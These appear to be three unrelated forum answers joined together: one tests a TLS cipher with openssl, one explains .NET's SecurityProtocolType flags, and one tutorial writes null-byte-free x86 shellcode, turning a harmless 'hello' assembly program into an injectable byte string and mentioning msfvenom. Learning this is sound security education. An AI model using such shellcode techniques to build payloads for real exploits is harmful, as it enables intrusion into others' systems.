    Cipher    : ECDHE-RSA-AES256-SHA
    Start Time: 1385691323
    Timeout   : 300 (sec)
    Verify return code: 20 (unable to get local issuer certificate)
---
TRACE / HTTP/1.0

HTTP/1.0 405 Method Not Allowed
Content-Type: text/html; charset=UTF-8
Content-Length: 960
Date: Fri, 29 Nov 2013 02:15:31 GMT
Server: GFE/2.0
...

Note the following signs:

We do not see the "handshake failed" error message
Instead of "New, (NONE), Cipher is (NONE)", we see "New,
TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-SHA"
We also see the same Cipher listed under the SSL-Session section.
You can see where I typed in an HTTP command "TRACE / HTTP/1.0", and
where Google responded "HTTP/1.0 405 Method Not Allowed".  You would
not be able to do this or see this if the cipher had been rejected,
obviously; you can only talk to the HTTP server if the SSL connection was nailed up successfully.

Caveats

This is relatively easy in openssl command line.  Doing it in code may be harder, depending on the language and the library used.  Doing it in browsers may be painful, because such fine-grained control is not readily accessible - for example, if Chrome is using the OS for SSL on Windows, you need to figure out the registry keys used to manipulate SSL.

Another problem can be figuring out which cipher string you want to test.  If you're investigating the report of another tool, as your question suggests, it's probably not describing the cipher problem it sees in terms of an OpenSSL cipher string.  More than once I've ended up on the phone with support asking "What exactly are you referring to when you say 'weak cipher'?"


If you want to get shellcode quick and dirty, use msfvenom. If you want to learn something and become a wizard, I suggest the following:

1. Write a small assembler program for your platform.

You will realize that you need to code in such way that no NULL bytes will be produced. This can be done by creative use of XOR and other tricks.

;hello.asm
[SECTION .text]

global _start

_start:

    jmp short ender

    starter:

    xor eax, eax    ;clean up the registers
    xor ebx, ebx
    xor edx, edx
    xor ecx, ecx

    mov al, 4       ;syscall write
    mov bl, 1       ;stdout is 1
    pop ecx         ;get the address of the string from the stack
    mov dl, 5       ;length of the string
    int 0x80

    xor eax, eax
    mov al, 1       ;exit the shellcode
    xor ebx,ebx
    int 0x80

    ender:
    call starter    ;put the address of the string on the stack
    db 'hello'

2. Use objdump to get the opcodes for the instructions:

hello:     file format elf32-i386

Disassembly of section .text:

08048080 <_start>:
 8048080:       eb 19                   jmp    804809b

08048082 <starter>:
 8048082:       31 c0                   xor    %eax,%eax
 8048084:       31 db                   xor    %ebx,%ebx
 8048086:       31 d2                   xor    %edx,%edx
 8048088:       31 c9                   xor    %ecx,%ecx
 804808a:       b0 04                   mov    $0x4,%al
 804808c:       b3 01                   mov    $0x1,%bl
 804808e:       59                      pop    %ecx
 804808f:       b2 05                   mov    $0x5,%dl
 8048091:       cd 80                   int    $0x80
 8048093:       31 c0                   xor    %eax,%eax
 8048095:       b0 01                   mov    $0x1,%al
 8048097:       31 db                   xor    %ebx,%ebx
 8048099:       cd 80                   int    $0x80

0804809b <ender>:
 804809b:       e8 e2 ff ff ff          call   8048082
 80480a0:       68 65 6c 6c 6f          push   $0x6f6c6c65

3. Then your shellcode will be:

char code[] = "\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x05\xcd"\
              "\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x68\x65\x6c\x6c\x6f";

4. Profit


I think you understand the API wrong. The function you mention is not used to select a specific SSL/TLS version. The argument to a function is a SecurityProtocolType Enum which has the following documentation:

  Specifies the security protocols that are supported by the Schannel security package. This enumeration has a FlagsAttribute attribute that allows a bitwise combination of its member values.

Note that it talks about combining multiple values here and not a single protocol version.

In other words: this is not used to select a specific protocol version but to set a list of allowed protocol versions. Typically you want to have TLS 1.2 and higher, maybe TLS 1.1 and TLS 1.0 for compatibility reasons but you don't want to allow SSLv3 or lower. By using this API you can tune which protocols are allowed within the following TLS handshakes.